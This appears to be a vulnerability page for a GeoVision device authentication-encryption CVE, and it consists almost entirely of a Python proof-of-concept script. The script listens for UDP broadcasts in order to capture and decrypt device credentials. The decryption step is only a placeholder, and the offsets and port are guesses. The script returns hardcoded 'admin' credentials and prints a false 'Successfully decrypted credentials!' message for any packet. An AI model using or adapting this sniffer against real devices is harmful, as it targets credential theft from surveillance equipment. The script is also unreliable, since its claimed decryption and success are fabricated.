CVE-2026-42363 GeoVision设备认证加密不足漏洞

import socket import struct # Simulated decryption function based on vulnerability description # The algorithm is a derivative of Blowfish, and the key is in the packet. def decrypt_credentials(packet_data): # Hypothetical offsets based on typical packet structures # Key extraction (Assuming key is at offset 20, length 16) key = packet_data[20:36] encrypted_creds = packet_data[36:100] # Assuming payload size # In a real exploit, the attacker implements the specific Blowfish derivative # For this PoC, we simulate the decryption logic print(f"[+] Captured Key: {key.hex()}") print(f"[+] Captured Ciphertext: {encrypted_creds.hex()}") # Placeholder for the actual decryption algorithm implementation # username, password = custom_blowfish_decrypt(encrypted_creds, key) return "admin", "decrypted_password_here" def main(): # Create a UDP socket to listen for broadcast traffic # GeoVision utility likely uses a specific port, checking common ports or broadcasting UDP_PORT = 5050 # Example port, adjust based on actual service discovery sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('', UDP_PORT)) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) print(f"[*] Listening for GeoVision broadcast packets on port {UDP_PORT}...") try: while True: data, addr = sock.recvfrom(1024) print(f"[*] Received packet from {addr}") # Filter for GeoVision specific packets (Magic bytes/headers) # if data[:4] == b'\x00\x01\x02\x03': # Example header user, pwd = decrypt_credentials(data) print(f"[!] Successfully decrypted credentials!") print(f" Username: {user}") print(f" Password: {pwd}") break # Exit after first capture for demonstration except KeyboardInterrupt: print("\n[*] Exiting...") if __name__ == "__main__": main()